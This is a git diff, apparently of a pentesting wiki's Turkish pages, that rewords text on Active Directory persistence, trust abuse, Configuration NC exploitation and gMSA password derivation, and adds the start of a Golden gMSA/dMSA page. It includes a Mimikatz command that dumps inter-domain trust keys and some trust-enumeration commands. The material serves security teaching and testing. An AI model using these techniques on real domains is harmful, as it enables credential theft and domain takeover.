Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte altın biletler gibidir.
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
@ -432,7 +432,7 @@ ad-certificates/account-persistence.md
|
||||
|
||||
### **Sertifikalar Alan Sürekliliği**
|
||||
|
||||
**Sertifikaları kullanarak, alan içinde yüksek yetkilerle sürekliliği sağlamak da mümkündür:**
|
||||
**Sertifikaları kullanarak, alan içinde yüksek yetkilerle de süreklilik sağlamak mümkündür:**
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-persistence.md
|
||||
@ -462,7 +462,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Güvenlik Tanımlayıcıları
|
||||
|
||||
**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde sahip olduğu **izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz.
|
||||
**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde **izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -487,7 +487,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPN'ler...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\
|
||||
AD'de **yeni bir Domain Controller** kaydeder ve belirtilen nesnelerde **özellikleri** (SIDHistory, SPN'ler...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\
|
||||
Yanlış veri kullanırsanız, oldukça kötü loglar ortaya çıkacaktır.
|
||||
|
||||
{{#ref}}
|
||||
@ -496,7 +496,7 @@ dcshadow.md
|
||||
|
||||
### LAPS Sürekliliği
|
||||
|
||||
Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** nasıl yetki yükseltebileceğinizi tartıştık. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\
|
||||
Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** nasıl yetki yükseltebileceğinizi tartıştık. Ancak, bu parolalar **sürekliliği sağlamak için** de kullanılabilir.\
|
||||
Kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
@ -509,31 +509,31 @@ Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir al
|
||||
|
||||
### Temel Bilgiler
|
||||
|
||||
Bir [**alan güveni**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>), bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişmesini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar.
|
||||
Bir [**alan güveni**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>), bir **alan** içindeki bir kullanıcının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar.
|
||||
|
||||
Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istediğinde, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmesi gerekir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı, bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladığında, bir TGS vererek kullanıcıya hizmete erişim izni verir.
|
||||
|
||||
**Adımlar**:
|
||||
|
||||
1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır.
|
||||
2. İstemci başarılı bir şekilde kimlik doğrulandıysa, DC1 yeni bir TGT verir.
|
||||
3. İstemci, **Domain 2**'deki kaynaklara erişmek için gereken **inter-realm TGT**'yi DC1'den talep eder.
|
||||
2. DC1, istemci başarılı bir şekilde kimlik doğrulandıysa yeni bir TGT verir.
|
||||
3. İstemci, **Domain 2**'deki kaynaklara erişmek için DC1'den bir **inter-realm TGT** talep eder.
|
||||
4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni kapsamında paylaşılan bir **güven anahtarı** ile şifrelenmiştir.
|
||||
5. İstemci, inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür.
|
||||
6. DC2, inter-realm TGT'yi paylaşılan güven anahtarı ile doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir.
|
||||
6. DC2, inter-realm TGT'yi paylaşılan güven anahtarını kullanarak doğrular ve geçerliyse, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir.
|
||||
7. Son olarak, istemci bu TGS'yi sunucuya sunar; bu, sunucunun hesap hash'i ile şifrelenmiştir ve Domain 2'deki hizmete erişim sağlar.
|
||||
|
||||
### Farklı Güvenler
|
||||
|
||||
**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alana** yalnızca güvenen alan içindeki kaynaklara erişim sağlanabilir.
|
||||
**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir olan alandan güvenen alandaki kaynaklara erişim sağlayabilirsiniz**.
|
||||
|
||||
Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; ve **Alan B**'de bu bir **Giriş güveni** olacaktır.
|
||||
Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir olanıdır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; ve **Alan B**'de bu bir **Giriş güveni** olacaktır.
|
||||
|
||||
**Farklı güvenen ilişkileri**
|
||||
|
||||
- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, bu, kimlik doğrulama taleplerinin ana ve çocuk arasında sorunsuz bir şekilde akabileceği anlamına gelir.
|
||||
- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, kimlik doğrulama talepleri ana ve çocuk arasında sorunsuz bir şekilde akabilir.
|
||||
- **Çapraz Bağlantı Güvenleri**: "Kısa yol güvenleri" olarak adlandırılan bu güvenler, referans süreçlerini hızlandırmak için çocuk alanları arasında kurulur. Karmaşık ormanlarda, kimlik doğrulama referanslarının genellikle orman köküne kadar gitmesi ve ardından hedef alana inmesi gerekir. Çapraz bağlantılar oluşturarak, yolculuk kısaltılır; bu, coğrafi olarak dağılmış ortamlarda özellikle faydalıdır.
|
||||
- **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan ve doğası gereği geçişli olmayan güvenlerdir. [Microsoft'un belgelerine](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle SID filtrelemesi ile artırılır.
|
||||
- **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan bu güvenler doğası gereği geçişli değildir. [Microsoft'un belgelerine](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle SID filtrelemesi ile artırılır.
|
||||
- **Ağaç-kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Sıklıkla karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına ve iki yönlü geçişliliği sağlamalarına olanak tanır. Daha fazla bilgi [Microsoft'un kılavuzunda](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) bulunabilir.
|
||||
- **Orman Güvenleri**: Bu tür bir güven, iki orman kök alanı arasında iki yönlü geçişli bir güven olup, güvenlik önlemlerini artırmak için SID filtrelemesi uygular.
|
||||
- **MIT Güvenleri**: Bu güvenler, Windows dışındaki [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır.
|
||||
@ -552,13 +552,13 @@ Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır.
|
||||
|
||||
Saldırganlar, başka bir alandaki kaynaklara erişim sağlamak için üç ana mekanizma kullanabilir:
|
||||
|
||||
- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki "Yönetici" grubu, o makine üzerinde önemli kontrol sağlar.
|
||||
- **Yerel Grup Üyeliği**: İlkeler, sunucudaki "Yönetici" grubu gibi makinelerde yerel gruplara eklenebilir ve bu da onlara o makine üzerinde önemli kontrol sağlar.
|
||||
- **Yabancı Alan Grup Üyeliği**: İlkeler, yabancı alandaki grupların da üyesi olabilir. Ancak, bu yöntemin etkinliği güvenin doğasına ve grubun kapsamına bağlıdır.
|
||||
- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de, özellikle bir **DACL** içindeki **ACE'ler** olarak belirtilmiş olabilir. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır.
|
||||
|
||||
### Dış kullanıcılar/gruplar ile izinleri bulma
|
||||
|
||||
Alan içindeki yabancı güvenlik ilkelerini bulmak için **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**'u kontrol edebilirsiniz. Bunlar, **bir dış alan/orman**'dan gelen kullanıcı/gruplardır.
|
||||
**`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**'yi kontrol ederek, alandaki yabancı güvenlik ilkelerini bulabilirsiniz. Bunlar, **bir dış alan/orman**'dan gelen kullanıcı/gruplardır.
|
||||
|
||||
Bunu **Bloodhound** veya powerview kullanarak kontrol edebilirsiniz:
|
||||
```powershell
|
||||
@ -595,7 +595,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
```
|
||||
> [!WARNING]
|
||||
> **2 güvenilir anahtar** vardır, biri _Çocuk --> Ebeveyn_ ve diğeri _Ebeveyn_ --> _Çocuk_ için.\
|
||||
> Mevcut alan tarafından kullanılanı şu şekilde alabilirsiniz:
|
||||
> Mevcut alan tarafından kullanılanı şu komutla alabilirsiniz:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
@ -610,35 +610,41 @@ SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin ol
|
||||
sid-history-injection.md
|
||||
{{#endref}}
|
||||
|
||||
#### Yazılabilir Konfigürasyon NC'yi Sömürme
|
||||
#### Yazılabilir Yapılandırma NC'yi Sömürme
|
||||
|
||||
Konfigürasyon İsimlendirme Bağlamı (NC) nasıl sömürülebileceğini anlamak çok önemlidir. Konfigürasyon NC, Active Directory (AD) ortamlarında bir orman genelinde konfigürasyon verileri için merkezi bir depo işlevi görür. Bu veriler, ormandaki her Alan Denetleyicisi (DC) ile çoğaltılır ve yazılabilir DC'ler, Konfigürasyon NC'nin yazılabilir bir kopyasını tutar. Bunu sömürmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC.
|
||||
Yapılandırma İsimlendirme Bağlamı (NC) nasıl sömürülebileceğini anlamak kritik öneme sahiptir. Yapılandırma NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo işlevi görür. Bu veriler, ormandaki her Alan Denetleyicisi (DC) ile çoğaltılır ve yazılabilir DC'ler, Yapılandırma NC'nin yazılabilir bir kopyasını tutar. Bunu sömürmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC.
|
||||
|
||||
**GPO'yu kök DC alanına bağlama**
|
||||
|
||||
Konfigürasyon NC'nin Siteler konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların siteleri hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu sitelere uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir.
|
||||
Yapılandırma NC'nin Siteler konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların siteleri hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir.
|
||||
|
||||
Derinlemesine bilgi için, [SID Filtrelemesini Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir.
|
||||
Derinlemesine bilgi için, [SID Filtrelemesini Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine araştırmalara göz atılabilir.
|
||||
|
||||
**Ormandaki herhangi bir gMSA'yı tehlikeye atma**
|
||||
|
||||
Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Konfigürasyon NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA'nın şifrelerini hesaplamak mümkündür.
|
||||
Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almaktır. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Yapılandırma NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA için şifreleri hesaplamak mümkündür.
|
||||
|
||||
Detaylı analiz, [Altın gMSA Güven Trust Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) üzerine yapılan tartışmada bulunabilir.
|
||||
Ayrıntılı analiz ve adım adım rehberlik için:
|
||||
|
||||
{{#ref}}
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
Ek dış araştırma: [Golden gMSA Güven Trust Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Şema değişikliği saldırısı**
|
||||
|
||||
Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yeni oluşturulan AD nesnelerine yetkisiz erişim ve kontrol sağlayabilir.
|
||||
Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını bekleyerek sabır gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yetkisiz erişim ve yeni oluşturulan AD nesneleri üzerinde kontrol sağlama ile sonuçlanabilir.
|
||||
|
||||
Daha fazla okuma için [Şema Değişikliği Güven Trust Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine göz atılabilir.
|
||||
|
||||
**DA'dan EA'ya ADCS ESC5 ile**
|
||||
|
||||
ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulama sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Konfigürasyon NC içinde bulunduğundan, yazılabilir bir çocuk DC'nin tehlikeye atılması ESC5 saldırılarının gerçekleştirilmesini sağlar.
|
||||
ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulama sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Yapılandırma NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar.
|
||||
|
||||
Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu, [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) üzerine tartışıldığı gibi.
|
||||
Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) adresinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu, [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) başlığında tartışılmıştır.
|
||||
|
||||
### Harici Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü
|
||||
### Dış Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü
|
||||
```bash
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
@ -667,18 +673,18 @@ TrustDirection : Outbound --> Outbound trust
|
||||
WhenCreated : 2/19/2021 10:15:24 PM
|
||||
WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
Bu senaryoda **domain'iniz** bazı **yetkileri** **farklı domainlerden** bir prensibe **güvenmektedir**.
|
||||
Bu senaryoda **domaininiz**, **farklı domainlerden** bir **prensipe** bazı **ayrımcı yetkiler** vermektedir.
|
||||
|
||||
Ancak, bir **domain güvenildiğinde**, güvenilen domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilen şifreyi** **şifre** olarak kullanır. Bu, **güvenilen domain'e girmek için güvenen domain'den bir kullanıcıya erişmenin** mümkün olduğu anlamına gelir; bu da onu listelemek ve daha fazla yetki artırmaya çalışmak için bir fırsat sunar:
|
||||
Ancak, bir **domain, güvenilen domain** tarafından güvenildiğinde, güvenilen domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilen şifreyi** kullanır. Bu, **güvenilen domain içindeki bir kullanıcıya erişim sağlamak için güvenilen domainin bir kullanıcısına erişmenin mümkün olduğu** anlamına gelir; bu da onu listelemek ve daha fazla yetki artırmaya çalışmak için bir fırsat sunar:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Güvenilen domain'i tehlikeye atmanın bir başka yolu, domain güveninin **ters yönünde** oluşturulmuş bir [**SQL güvenilir bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links) bulmaktır (bu çok yaygın değildir).
|
||||
Güvenilen domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde **oluşturulmuş bir [**SQL güvenilir bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links)** bulmaktır (bu pek yaygın değildir).
|
||||
|
||||
Güvenilen domain'i tehlikeye atmanın bir başka yolu, **güvenilen domain'den bir kullanıcının erişebileceği** bir makinede beklemektir. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve oradan **kurbanın orijinal domainine erişebilir**.\
|
||||
Ayrıca, eğer **kurban sabit diskini bağladıysa**, saldırgan **RDP oturumu** sürecinden **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır.
|
||||
Güvenilen domaini tehlikeye atmanın bir başka yolu, **güvenilen domainin bir kullanıcısının erişebileceği** bir makinede beklemektir; bu sayede **RDP** üzerinden oturum açabilir. Ardından, saldırgan RDP oturum süreci içinde kod enjekte edebilir ve **kurbanın orijinal domainine** buradan erişebilir.\
|
||||
Ayrıca, eğer **kurban sabit diskini bağladıysa**, saldırgan **RDP oturumu** sürecinden **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılmaktadır.
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -689,12 +695,12 @@ rdp-sessions-abuse.md
|
||||
### **SID Filtreleme:**
|
||||
|
||||
- Orman güvenleri arasında SID geçmişi niteliğini kullanan saldırıların riski, varsayılan olarak tüm ormanlar arası güvenlerde etkinleştirilen SID Filtreleme ile azaltılmaktadır. Bu, Microsoft'un görüşüne göre ormanların güvenlik sınırı olarak kabul edilmesi nedeniyle, orman içi güvenlerin güvenli olduğu varsayımına dayanmaktadır.
|
||||
- Ancak, bir sorun var: SID filtreleme, uygulamaları ve kullanıcı erişimini etkileyebilir, bu da bazen devre dışı bırakılmasına yol açar.
|
||||
- Ancak, bir sorun var: SID filtreleme, uygulamaları ve kullanıcı erişimini etkileyebilir, bu da zaman zaman devre dışı bırakılmasına yol açabilir.
|
||||
|
||||
### **Seçici Kimlik Doğrulama:**
|
||||
|
||||
- Ormanlar arası güvenler için Seçici Kimlik Doğrulama kullanmak, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasını sağlamaz. Bunun yerine, güvenen domain veya ormandaki domainlere ve sunuculara erişim için açık izinler gereklidir.
|
||||
- Bu önlemlerin, yazılabilir Yapılandırma İsimlendirme Bağlamı (NC) istismarına veya güven hesabına yönelik saldırılara karşı koruma sağlamadığını belirtmek önemlidir.
|
||||
- Ormanlar arası güvenler için Seçici Kimlik Doğrulama kullanmak, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasını sağlamaz. Bunun yerine, güvenilen domain veya orman içindeki domainlere ve sunuculara erişim için açık izinler gereklidir.
|
||||
- Bu önlemlerin, yazılabilir Yapılandırma İsimlendirme Bağlamı (NC) istismarına veya güven hesaplarına yönelik saldırılara karşı koruma sağlamadığını belirtmek önemlidir.
|
||||
|
||||
[**Domain güvenleri hakkında daha fazla bilgi için ired.team'i ziyaret edin.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
@ -710,20 +716,20 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
### **Kimlik Bilgisi Koruma için Savunma Önlemleri**
|
||||
|
||||
- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir; diğer ana bilgisayarlarda kullanılmamalıdır.
|
||||
- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği korumak için Domain Admin (DA) yetkileri ile çalıştırılmamalıdır.
|
||||
- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir; diğer hostlarda kullanılmamalıdır.
|
||||
- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Yöneticisi (DA) yetkileri ile çalıştırılmamalıdır.
|
||||
- **Geçici Yetki Sınırlaması**: DA yetkileri gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir.
|
||||
|
||||
### **Aldatma Tekniklerini Uygulama**
|
||||
### **Aldatma Tekniklerinin Uygulanması**
|
||||
|
||||
- Aldatma uygulamak, şifrelerin süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş sahte kullanıcılar veya bilgisayarlar gibi tuzaklar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek yetkili gruplara eklemeyi içerir.
|
||||
- Aldatma uygulamak, şifrelerin süresiz olduğu veya Delegasyon için Güvenilir olarak işaretlendiği sahte kullanıcılar veya bilgisayarlar gibi tuzaklar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek yetkili gruplara eklemeyi içerir.
|
||||
- Pratik bir örnek, `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` gibi araçlar kullanmaktır.
|
||||
- Aldatma tekniklerini dağıtma hakkında daha fazla bilgi [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) adresinde bulunabilir.
|
||||
- Aldatma tekniklerinin uygulanması hakkında daha fazla bilgi [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) adresinde bulunabilir.
|
||||
|
||||
### **Aldatmayı Tanımlama**
|
||||
|
||||
- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturma tarihleri ve düşük kötü şifre sayıları bulunur.
|
||||
- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek olanlarla karşılaştırmak, tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir.
|
||||
- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturulma tarihleri ve düşük hatalı şifre sayıları bulunmaktadır.
|
||||
- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak, tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamada yardımcı olabilir.
|
||||
|
||||
### **Algılama Sistemlerini Aşma**
|
||||
|
||||
|
@ -0,0 +1,111 @@
|
||||
# Golden gMSA/dMSA Saldırısı (Yönetilen Hizmet Hesabı Parolalarının Çevrimdışı Türevlenmesi)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Genel Bakış
|
||||
|
||||
Windows Yönetilen Hizmet Hesapları (MSA), parolalarını manuel olarak yönetmeye gerek kalmadan hizmetleri çalıştırmak için tasarlanmış özel ilkeleridir. İki ana türü vardır:
|
||||
|
||||
1. **gMSA** – grup Yönetilen Hizmet Hesabı – `msDS-GroupMSAMembership` niteliğinde yetkilendirilmiş birden fazla ana bilgisayarda kullanılabilir.
|
||||
2. **dMSA** – devredilmiş Yönetilen Hizmet Hesabı – gMSA'nın (önizleme) halefidir, aynı kriptografiye dayanır ancak daha ayrıntılı devretme senaryolarına izin verir.
|
||||
|
||||
Her iki varyant için de **parola her Domain Controller (DC)** üzerinde düzenli bir NT-hash gibi **saklanmaz**. Bunun yerine her DC, mevcut parolayı anlık olarak aşağıdaki üç girdiden **türetebilir**:
|
||||
|
||||
* Orman genelinde **KDS Kök Anahtarı** (`KRBTGT\KDS`) – her DC'ye `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` konteyneri altında çoğaltılan rastgele oluşturulmuş GUID adında bir sır.
|
||||
* Hedef hesap **SID**.
|
||||
* `msDS-ManagedPasswordId` niteliğinde bulunan her hesap için bir **ManagedPasswordID** (GUID).
|
